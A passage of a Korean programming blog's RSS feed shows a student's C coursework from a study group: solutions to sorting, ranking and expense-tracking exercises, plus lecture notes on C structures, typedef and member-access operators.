int main()
{
    int matrix[11][11] = {};  //[세로][가로]
    for(int j = 1; j&lt;=10; j++ ){
        for(int i = 1; i&lt;=10; i++ ){
            scanf(&quot;%d &quot;,&amp;matrix[j][i]);
        }
    }

    int x,y;
    x = 2;
    y = 2;

    while(1){


        if(matrix[x][y] == 0){
            matrix[x][y] = 9;
            y ++;
        }
        if(matrix[x][y] == 1){
            y --;
            x++;
        }

        if(matrix[x][y] == 2){
            matrix[x][y] = 9;
            break;
        }
        else if(matrix[x][y+1] == 1 &amp;&amp; matrix[x+1][y] == 1){
            if(matrix[x][y] == 0){
                matrix[x][y] = 9;
            }
            break;
        }

    }

    for(int i = 1; i &lt;= 10; i++){
        for(int j =1; j &lt;= 10; j++){
            printf(&quot;%d &quot;,matrix[i][j]);
        }
        printf(&quot;\n&quot;);
    }

    return 0;
}</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[Layer7_5차시]]></title>
            <link>https://velog.io/@shin_yy/Layer7-5%EC%B0%A8%EC%8B%9C</link>
            <guid>https://velog.io/@shin_yy/Layer7-5%EC%B0%A8%EC%8B%9C</guid>
            <pubDate>Mon, 28 Apr 2025 13:03:57 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p><a href="https://velog.io/@shin_yy/Layer7-5%EC%B0%A8%EC%8B%9C-1">5차시 수업정리</a></p>
</blockquote>
<blockquote>
<h1 id="1805--입체기동장치-생산공장">1805 : 입체기동장치 생산공장</h1>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/8d7f2898-d3b8-4571-b2b2-97b48ed0742d/image.png" alt=""></p>
</blockquote>
<h3 id="입력">입력</h3>
<p>첫째 줄에 입체기동장치의 갯수 n이 입력된다. (1 &lt;= n &lt;= 100)
둘째 줄부터 n+1째 줄까지 각 줄에 입체기동장치의 식별번호 a와 가스 보유량 b가 주어진다.
a는 중복 될 수 없지만 b는 중복될 수 있다. (1 &lt;= a &lt;= 100), (0 &lt;= b &lt;= 10,000)</p>
<h3 id="출력">출력</h3>
<p>첫째 줄부터 n번째 줄까지 각 줄에 식별번호를 오름차순으로 정렬해 가스 보유량과 같이 출력한다.</p>
<h3 id="풀이">풀이</h3>
<p>number과 gas를 맴버로 지닌 구조체 device를 만든다.
정수 x와 추후 버블 정렬에 사용될 정수 temp를 선언한다.
정수 x의 값을 첫 번째로 입력받아 구조체 device 배열의 크기를 정의한다.
정의된 크기의 구조체 배열 devices의 number값과 gas값을 전부 입력받는다.
버블정렬을 응용하여 각각의 devices의 number 값을 비교하여 순서를 정리한다.
number의 순서대로 정렬된 devices를 출력한다</p>
<pre><code>#include &lt;stdio.h&gt;

struct device
{
    int number;
    int gas;
};

int main() {
    int x, temp;
    scanf(&quot;%d&quot;, &amp;x);

    // 첫 번째 입력받은 정수만큼의 크기에 구조체 배열 선언
    struct device devices[x];

    // 구조체 변수값 입력
    for (int i = 0; i &lt; x; i++) {
        scanf(&quot;%d %d&quot;, &amp;devices[i].number, &amp;devices[i].gas);
    }

    // 버블 정렬을 이용하여 구조체 순서 정렬
    for (int i = 0; i &lt; x; i++) {
        for (int j = i+1; j &lt; x; j++) {
            if (devices[i].number &gt; devices[j].number) {
                temp = devices[i].number;
                devices[i].number = devices[j].number;
                devices[j].number = temp;

                temp = devices[i].gas;
                devices[i].gas = devices[j].gas;
                devices[j].gas = temp;
            }
        }
    }

    // 정렬된 구조체 출력
    for (int i = 0; i &lt; x; i++) {
        printf(&quot;%d %d\n&quot;, devices[i].number, devices[i].gas);
    }

    return 0;
}</code></pre><blockquote>
<h1 id="4012--석차-계산">4012 : 석차 계산</h1>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/6e5d1170-5d90-45ad-ae25-951b247c6c95/image.png" alt=""></p>
</blockquote>
<h3 id="입력-1">입력</h3>
<p>1) 첫 번째 줄은 처리할 점수의 개수 n ( n &lt;= 200 )
2) 두 번째 줄은 처리할 점수 데이터 (0~100점)
(단, 각각의 점수는 빈칸으로 구별한다.)</p>
<h3 id="출력-1">출력</h3>
<p>석차를 계산한 후 점수와 석차를  출력한다.</p>
<h3 id="풀이-1">풀이</h3>
<p>score와 grade를 맴버로 지닌 구조체 rank를 만든다.
정수 x를 선언한다.
정수 x의 값을 첫 번째로 입력받아 구조체 rank 배열의 크기를 정의한다.
정의된 크기의 구조체 배열 ranks의 score값을 전부 입력받는다.
모든 ranks의 맴버 변수 grade는 초기값으로 1을 받는다.
score값을 비교하며 비교되는 값이 비교하는 값보다 작을때마다 grade를 1씩 추가한다.
구조체 변수 ranks 전부 출력한다.</p>
<pre><code>#include &lt;stdio.h&gt;

struct rank
{
    int score;
    int grade;
};

int main() {
    int x;
    scanf(&quot;%d&quot;, &amp;x);

    // 첫 번째로 입력받은 정수 크기의 구조체 생성
    struct rank ranks[x];

    // 구조체 변수에 값 할당
    for (int i = 0; i &lt; x; i++) {
        scanf(&quot;%d&quot;, &amp;ranks[i].score);
    }

    // 석차 계산
    for (int i = 0; i &lt; x; i++) {
        ranks[i].grade = 1;

        for (int j = 0; j &lt; x; j++) {
            if (ranks[i].score &lt; ranks[j].score) {
                ranks[i].grade++;
            }
        }
    }

    // 점수와 석차 출력
    for (int i = 0; i &lt; x; i++) {
        printf(&quot;%d %d\n&quot;, ranks[i].score, ranks[i].grade);
    }

    return 0;
}</code></pre><blockquote>
<h1 id="창작문제_-회계-관리-시스템">창작문제_ 회계 관리 시스템</h1>
</blockquote>
<h3 id="입력-2">입력</h3>
<p>첫째 줄에 부원의 수 N 이 주어진다. (1 ≤ N ≤ 100)
이후 각 부원의 대해 다음 정보가 주어진다.</p>
<ul>
<li>첫째 줄에는 이름(공백 없음), 학번, 지출 내역의 수 M 이 주어진다. (1 ≤ M ≤ 100)</li>
<li>다음 M 개의 줄에는 각 지출에 대한 항목명(공백 없음), 금액(0 이상 10,000 이하의 정수), 날짜(YYYY-MM-DD 형식)가 주어진다.<h3 id="출력-2">출력</h3>
각 부원의 대해 <strong>이름/학번/총지출</strong> 형식으로 한 줄씩 출력한다.<br>모든 부원의 정보를 출력한 뒤, 한 줄을 띄우고 지출이 가장 많은 부원의 정보를 다음 형식으로 출력한다.
지출 총액이 같은 경우, 먼저 입력된 부원의 출력한다.<h3 id="풀이-2">풀이</h3>
name, number, count, total을 맴버로 갖는 구조체 member와 name, price, data를 맴버로 갖는 구조체 pay를 선언한다.
문제 조건 사항에 <strong>함수 사용</strong>이라는 조건이 존재하였다.</li>
<li><em>따라서 -&gt;(화살표 연산자)를 사용하여 all값에 가격을 더해주는 함수 add를 선언하였다.*</em>
또한 <strong>포인터를 사용하는 조건</strong> 또한 존재하였기에 <strong>구조체 pay 변수를 포인터함수 pays로 선언하였다.</strong></li>
<li><em>동적 메모리를 사용*</em>하여 <strong>members와 pays의 크기를 회원 수(n)과 총 지출 수(count)만큼 반복하여 입력받는다.</strong>
이후 회원별로 지출을 더하여 회원별 총 지출을 출력하고, 최고 지출자를 출력한다.</li>
</ul>
<pre><code>#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
struct member {
    char name[100];
    int number;
    int count;
    int all;
};

struct pay {
    char name[100];
    int price;
    char day[100];
};

// 총 지출을 계산하는 함수 선언
void add(int price, struct member *member) {
    member-&gt;all += price;
}

int main() {
    int n, max = 0;

    struct member *members;
    struct pay *pays;

    printf(&quot;회원 수를 입력하세요 : &quot;);
    scanf(&quot;%d&quot;, &amp;n);

    members = (struct member *)malloc(sizeof(struct member) * n);

    for (int i = 0; i &lt; n; i++) {
        printf(&quot;\n[%d번째 회원 정보 입력]\n&quot;, i+1);
        printf(&quot;이름 : &quot;);
        scanf(&quot;%s&quot;, members[i].name);
        printf(&quot;학번 : &quot;);
        scanf(&quot;%d&quot;, &amp;members[i].number);
        printf(&quot;지출 내역 수 : &quot;);
        scanf(&quot;%d&quot;, &amp;members[i].count);

        members[i].all = 0; // 총 지출 초기화

        // 구조체 pay 크기의 동적 메모리 할당
        pays = (struct pay *)malloc(sizeof(struct pay) * members[i].count);

        for (int j = 0; j &lt; members[i].count; j++) {
            printf(&quot;\n   [%d번째 지출 내역]\n&quot;, j + 1);
            printf(&quot;   항목명 : &quot;);
            scanf(&quot;%s&quot;, pays[j].name);
            printf(&quot;   금액 : &quot;);
            scanf(&quot;%d&quot;, &amp;pays[j].price);
            printf(&quot;   날짜 (YYYY-MM-DD) : &quot;);
            scanf(&quot;%s&quot;, pays[j].day);

            add(pays[j].price, &amp;members[i]);
        }

        free(pays); // 반복마다 동적 할당 해제
    }

    // 회원별 총 지출 출력
    for (int i = 0; i &lt; n; i++) {
        printf(&quot;\n회원 : %s | 학번 : %d | 총 지출 : %d원\n&quot;, members[i].name, members[i].number, members[i].all);

    }

    // 최고 지출자 탐색
    for (int i = 1; i &lt; n; i++) {
        if (members[i].all &gt; members[max].all) {
            max = i;
        }
    }

    // 최고 지출자 출력
    printf(&quot;\n[최고 지출자]\n&quot;);
    printf(&quot;이름 : %s\n&quot;, members[max].name);
    printf(&quot;학번 : %d\n&quot;, members[max].number);
    printf(&quot;총 지출 : %d원\n&quot;, members[max].all);

    free(members);

    return 0;
}</code></pre><blockquote>
<h3 id="출력결과">출력결과</h3>
<p><img src="https://velog.velcdn.com/images/shin_yy/post/0eff5c28-58e7-4472-a465-94f858e59210/image.png" alt=""></p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[Layer7_5차시_수업정리]]></title>
            <link>https://velog.io/@shin_yy/Layer7-5%EC%B0%A8%EC%8B%9C-1</link>
            <guid>https://velog.io/@shin_yy/Layer7-5%EC%B0%A8%EC%8B%9C-1</guid>
            <pubDate>Mon, 14 Apr 2025 15:03:54 GMT</pubDate>
            <description><![CDATA[<h1 id="416-수업정리">4/16 수업정리</h1>
<h2 id="구조체란">구조체란?</h2>
<p><strong>서로 다른 자료형</strong>을 갖는 <strong>자료들의 집합</strong>이다.</p>
<pre><code>// 구조체 선언 원형
struct 구조체이름
{
변수1_자료형 변수1_이름;
변수2_자료형 변수2_이름;
}</code></pre><h3 id="서로-다른-자료형의-집합">서로 다른 자료형의 집합?</h3>
<p>기존에는 서로 다른 자료형의 변수를 일일이 선언해 주었다.
값 또한 일일이 scanf() 혹은 getchar()을 이용해 할당해 주어야 했다. </p>
<pre><code>// 이름, 과목, 점수를 받을 변수 선언
char name[];
char subject[];
double score;

// 변수에 값을 할당
scanf(&quot;%s&quot;, name);
scanf(&quot;%s&quot;, subject);
scanf(&quot;%.1lf&quot;, &amp;score);</code></pre><p>하지만 이러한 과정을 구조체 하나를 선언하여 단순화시킬 수 있다.</p>
<pre><code>// 이름, 과목, 점수를 지닌 구조체 선언
struct student        // &quot;student&quot;라는 구조체 선언
{
    char name[];
    char subject[];
    double score;
} s;                // 구조체 변수 &quot;s&quot; 선언

// 구조체 변수 초기화
struct student s = {이름, 과목, 점수}</code></pre><h3 id="구조체-선언-시-주의할-점">구조체 선언 시, 주의할 점</h3>
<ul>
<li>구조체 변수 또한 지역변수와 전역변수의 개념이 존재한다.</li>
<li>배열과 마찬가지로 초기값을 할당받지 못한 경우 0으로 초기화된다.</li>
</ul>
<h3 id="다양한-구조체-맴버">다양한 구조체 맴버</h3>
<h4 id="배열">배열</h4>
<ul>
<li>문자열과 마찬가지로 사용 가능하다.<h4 id="포인터">포인터</h4>
</li>
<li>구조체의 맴버로 포인터 변수도 선언 가능하다.</li>
</ul>
<h3 id="typedef를-통한-구조체-재정의">typedef를 통한 구조체 재정의</h3>
<pre><code>// 구조체 선언 후, &quot;NUM&quot;으로 재정의
struct num
{
    num1;
    num2;
}NUM;

typedef struct num NUM;</code></pre><pre><code>// 구조체를 선언하며, &quot;NUM&quot;으로 재정의
typedef struct num
{
    num1;
    num2;
}NUM;</code></pre><h3 id="구조체-배열">구조체 배열</h3>
<pre><code>// 구조체 변수를 배열 형식으로 선언
struct num
{
    num1;
    num2;
}s[(정수)];        // 구조체 배열 선언</code></pre><h3 id="구조체-관련-연산자">구조체 관련 연산자</h3>
<p>```
// .(dot) 연산자
. 는 클래스의 멤버를 직접적으로 접근한다.
(구조체 변수 이름).(맴버명)</p>
<p>// -&gt; 연산자
-&gt; 는 포인터를 통해 멤버를 간접적으로 접근한다.
(구조체 포인터)-&gt;(맴버명)</p>
]]></description>
        </item>
    </channel>
</rss>